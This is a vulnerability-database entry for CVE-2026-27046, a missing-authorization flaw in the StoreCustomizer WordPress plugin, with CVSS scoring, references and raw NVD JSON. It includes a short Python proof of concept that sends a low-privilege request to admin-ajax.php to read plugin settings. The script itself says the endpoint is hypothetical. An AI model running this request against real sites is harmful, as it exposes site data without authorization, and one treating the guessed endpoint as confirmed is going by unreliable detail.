CVE-2026-27046

Description

Missing Authorization vulnerability in Kaira StoreCustomizer woocustomizer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects StoreCustomizer: from n/a through <= 2.6.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

StoreCustomizer <= 2.6.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-27046 Missing Authorization
import requests

def check_vulnerability(target_url, cookie):
    # Hypothetical vulnerable endpoint based on plugin structure
    url = f"{target_url}/wp-admin/admin-ajax.php"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Cookie": cookie
    }
    # Attempting to access admin-only function with low privilege
    data = {
        "action": "woocustomizer_get_settings", 
        "security": "" # Nonce might be required or bypassed
    }
    
    response = requests.post(url, data=data, headers=headers)
    
    if response.status_code == 200 and "settings" in response.text.lower():
        print("[+] Vulnerability confirmed! Sensitive data leaked.")
        print(response.text[:200])
    else:
        print("[-] Vulnerability not exploited or patched.")

# Usage: check_vulnerability("http://target-site.com", "wordpress_logged_in_xxx...")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27046
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27046
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27046/
[4] VulDB https://vuldb.com/cve/CVE-2026-27046
[5] https://patchstack.com/database/Wordpress/Plugin/woocustomizer/vulnerability/wordpress-storecustomizer-plugin-2-6-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27046", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:53.853", "lastModified": "2026-04-28T16:16:10.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Kaira StoreCustomizer woocustomizer allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects StoreCustomizer: from n/a through <= 2.6.3."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en Kaira StoreCustomizer woocustomizer permite Explotar Niveles de Seguridad de Control de Acceso Incorrectamente Configurados. Este problema afecta a StoreCustomizer: desde n/a hasta <= 2.6.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocustomizer/vulnerability/wordpress-storecustomizer-plugin-2-6-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}